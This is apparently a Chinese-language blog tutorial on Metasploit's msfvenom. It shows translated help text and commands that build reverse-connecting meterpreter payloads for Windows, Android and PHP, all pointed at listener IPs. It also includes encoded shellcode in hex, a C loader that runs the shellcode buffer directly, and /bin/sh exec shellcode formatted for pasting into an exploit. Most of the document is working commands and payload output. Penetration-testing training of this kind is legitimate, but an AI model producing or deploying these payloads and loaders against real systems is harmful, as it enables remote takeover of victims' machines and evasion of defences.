2016-04-28 02:33:20

msfvenom help

[#]
msfvenom
执行参数

root@~$msfvenom -h
Usage: ./msfvenom [options] <var=val>
Options:
    -p, --payload    <payload>       指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定
        --payload-options            列举payload的标准选项
    -l, --list       [module_type]   列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
    -n, --nopsled    <length>        为payload预先指定一个NOP滑动长度
    -f, --format     <format>        指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
    -e, --encoder    [encoder]       指定需要使用的encoder(编码器)
    -a, --arch       <architecture>  指定payload的目标架构
        --platform   <platform>      指定payload的目标平台
    -s, --space      <length>        设定有效攻击荷载的最大长度
    -b, --bad-chars  <list>          设定规避字符集,比如: "\x00\xff";
    -i, --iterations <count>         指定payload的编码次数
    -c, --add-code   <path>          指定一个附加的win32 shellcode文件
    -x, --template   <path>          指定一个自定义的可执行文件作为模板
    -k, --keep                       保护模板程序的动作,注入的payload作为一个新的进程运行
    -o, --out   <path>               保存payload
    -v, --var-name <name>            指定一个自定义的变量,以确定输出格式
        --shellest                   最小化生成payload
    -h, --help                       查看帮助选项
        --help-formats               查看msf支持的输出格式列表

[#]
msfvenom
生成
c
语言格式的
shellcode

root@msf$ msfvenom -p windows/meterpreter/reverse_http -e x86/shikata_ga_nai -i 3 -b '\x00' LHOST:192.168.1.4 LPORT=80 -f c
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 578 (iteration=0)
x86/shikata_ga_nai succeeded with size 605 (iteration=1)
x86/shikata_ga_nai succeeded with size 632 (iteration=2)
x86/shikata_ga_nai chosen with final size 632
Payload size: 632 bytes
unsigned char buf[] = 
"\xd9\xea\xd9\x74\x24\xf4\x5d\x33\xc9\xbb\x7b\xa1\x49\xc1\xb1"
"\x98\x83\xc5\x04\x31\x5d\x14\x03\x5d\x6f\x43\xbc\x7c\x90\xb4"
"\x4e\x43\x74\x70\x69\xcf\xac\x71\xd0\x19\x65\xc8\x74\x68\x1f"
"\x3f\xf4\x49\xdb\x3c\x90\x5d\x1e\x80\xaf\x2c\x6e\xe2\xac\x83"
             (.....................)
windows/meterpreter/reverse_http
shellcode
,
X86/shikata_ga_nai
是指定对
shellcode
的编码方法,
-i 3 
是指定编码次数,
LHOST  LPORT
shellcode
要使用的参数,表示
shellcode
运行是连接的
IP
地址和端口。
-f c 
指定
shellcode
c
语言格式,也可以使用
-f exe 
直接输出可执行的
exe
文件。
//C语言中调用shellcode
unsigned char buf[] = 
"\xd9\xf6\xbe\xb2................";
int _tmain(int argc, _TCHAR* argv[])  
{  
    void (*fun)();  
    *(int*)&fun = (int)buf;  
    printf("------Execute meterpreter shellcode.....-------\n");  
    fun();  
    return 0;  
} 

[#]
msfvenom
生成
meterpreter
payload

利用
shikata_ga_nai
编码,查看payload所需选项
--payload-options
包含可用编码类型
root@msf$ msfvenom -p windows/meterpreter/reverse_tcp --payload-options
       Name:(名称) Windows Meterpreter (Reflective Injection), Reverse TCP Stager
     Module:(路径) payload/windows/meterpreter/reverse_tcp
   Platform:(系统) Windows
       Arch:(架构) x86
Needs Admin:(权限) No
 Total size:(大小) 281
       Rank:(级别) Normal
Provided by:
    skape <mmiller@hick.org>
    sf <stephen_fewer@harmonysecurity.com>
    OJ Reeves
    hdm <hdm@metasploit.com>
Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique (Accepted: , , seh, thread, process, none)
LHOST                      yes       The listen address
LPORT     4444             yes       The listen port
Description:(功能说明)
  Inject the meterpreter server DLL via the Reflective Dll Injection 
  payload (staged). Connect back to the attacker
Advanced options for payload/windows/meterpreter/reverse_tcp:
    (payload 高级选项)
    Name           : (选项名称) AutoLoadStdapi         
    Current Setting: (默认设置) true          
    Description    : (功能说明) Automatically load the Stdapi extension
             (.....................)
EXITFUNC
退出方式 (Accepted: , , seh, thread, process, none)
LHOST
监听上线的主机IP 比如:本机有多个ip 需要指定某个ip
LPORT
监听上线的主机端口

[#]
msfvenom
生成
android payload

root@msf$ msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=5555 > /root/apk.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
没有平台选择,从有效载荷选择MSF::模块::平台:: Android版
No Arch selected, selecting Arch: dalvik from the payload
没有选择架构, 选择架构
No encoder or badchars specified, outputting raw payload
没有选择编码,将按原始payload输出
Payload size: 8488 bytes

[#]
msfvenom
生成
 php payload

root@msf$ msfvenom -p php/meterpreter/reverse_tcp LHOST=10.99.99.2 LPORT=4444 -f raw > meter.php
Payload size: 946 bytes

[#] 编码与输出格式

-e选项可以指定
encoder
,这里我还没研究这个
encoder
有啥可以变的…… -f选项就是输出的格式,使用
—help-formats
查看可以输出的格式
$ msfvenom --help-formats
Error: Executable formats
    asp, aspx, aspx-exe, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, loop-vbs, 
    macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war
Transform formats
    bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, 
    raw, rb, ruby, sh, vbapplication, vbscript
默认的输出格式是
raw
就是直接输出payload的字符串,这样一般会出现乱码,所以和
-o
配合使用写入文件比较好。 还有就是转换成
\x0a
这种十六进制编码形式,我们要是在python里写exploit的话就可以指定
-f
python,如果需要
c
代码的话就可以用
-f c
。 规避特殊字符 使用
-b
选项指定需要规避的字符列表,针对不同的函数需要规避不同的字符,例如gets就需要避免使用
\x0a
这种,而scanf的限制则更多大部分空白符都不能有。例如产生一段exec的shellcode
$ msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00\x0b'
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with An encoding exception occurred.
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor succeeded with size 68 (iteration=0)
x86/call4_dword_xor chosen with final size 68
Payload size: 68 bytes
buf =  ""
buf += "\x31\xc9\x83\xe9\xf5\xe8\xff\xff\xff\xff\xc0\x5e\x81"
buf += "\x76\x0e\xd3\xc9\x64\xb3\x83\xee\xfc\xe2\xf4\xb9\xc2"
buf += "\x3c\x2a\x81\xaf\x0c\x9e\xb0\x40\x83\xdb\xfc\xba\x0c"
buf += "\xb3\xbb\xe6\x06\xda\xbd\x40\x87\xe1\x3b\xc1\x64\xb3"
buf += "\xd3\xe6\x06\xda\xbd\xe6\x17\xdb\xd3\x9e\x37\x3a\x32"
buf += "\x04\xe4\xb3"

脚本复制进exploit中就可以使用了

[#]
msfvenom
查看编码器列表

root@msf$ msfvenom -l encoders
Framework Encoders
==================
    Name(名称)                    Rank(值)    Description(描述)
    ----                          ----       -----------
    cmd/echo                      good       Echo Command Encoder
    cmd/generic_sh                manual     Generic Shell Variable Substitution Command Encoder
    cmd/ifs                       low        Generic ${IFS} Substitution Command Encoder
    cmd/perl                      normal     Perl Command Encoder
    cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
    cmd/printf_php_mq             manual     printf(1) via PHP magic_quotes Utility Command Encoder
    generic/eicar                 manual     The EICAR Encoder
    generic/none                  normal     The "none" Encoder
    mipsbe/byte_xori              normal     Byte XORi Encoder
    mipsbe/longxor                normal     XOR Encoder
    mipsle/byte_xori              normal     Byte XORi Encoder
    mipsle/longxor                normal     XOR Encoder
    php/base64                    great      PHP Base64 Encoder
    ppc/longxor                   normal     PPC LongXOR Encoder
    ppc/longxor_tag               normal     PPC LongXOR Encoder
    sparc/longxor_tag             normal     SPARC DWORD XOR Encoder
    x64/xor                       normal     XOR Encoder
    x86/add_sub                   manual     Add/Sub Encoder
    x86/alpha_mixed               low        Alpha2 Alphanumeric Mixedcase Encoder
    x86/alpha_upper               low        Alpha2 Alphanumeric Uppercase Encoder
    x86/avoid_underscore_tolower  manual     Avoid underscore/tolower
    x86/avoid_utf8_tolower        manual     Avoid UTF8/tolower
    x86/bloxor                    manual     BloXor - A Metamorphic Block Based XOR Encoder
    x86/call4_dword_xor           normal     Call+4 Dword XOR Encoder
    x86/context_cpuid             manual     CPUID-based Context Keyed Payload Encoder
    x86/context_stat              manual     stat(2)-based Context Keyed Payload Encoder
    x86/context_time              manual     time(2)-based Context Keyed Payload Encoder
    x86/countdown                 normal     Single-byte XOR Countdown Encoder
    x86/fnstenv_mov               normal     Variable-length Fnstenv/mov Dword XOR Encoder
    x86/jmp_call_additive         normal     Jump/Call XOR Additive Feedback Encoder
    x86/nonalpha                  low        Non-Alpha Encoder
    x86/nonupper                  low        Non-Upper Encoder
    x86/opt_sub                   manual     Sub Encoder (optimised)
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
    x86/single_static_bit         manual     Single Static Bit
    x86/unicode_mixed             manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
    x86/unicode_upper             manual     Alpha2 Alphanumeric Unicode Uppercase Encoder
PS:之前测试的时候发现一个问题,如果只指定
-b '\x0b'
的话,其payload中还是有
0b
,不知道是bug还是什么,如果使用
-b '\xb'
就不会出现这个问题。 其他选项 使用
-n
选项在payload前填充
Nop Sled
使用
-v
选项指定变量名,默认就叫
buf
发表回复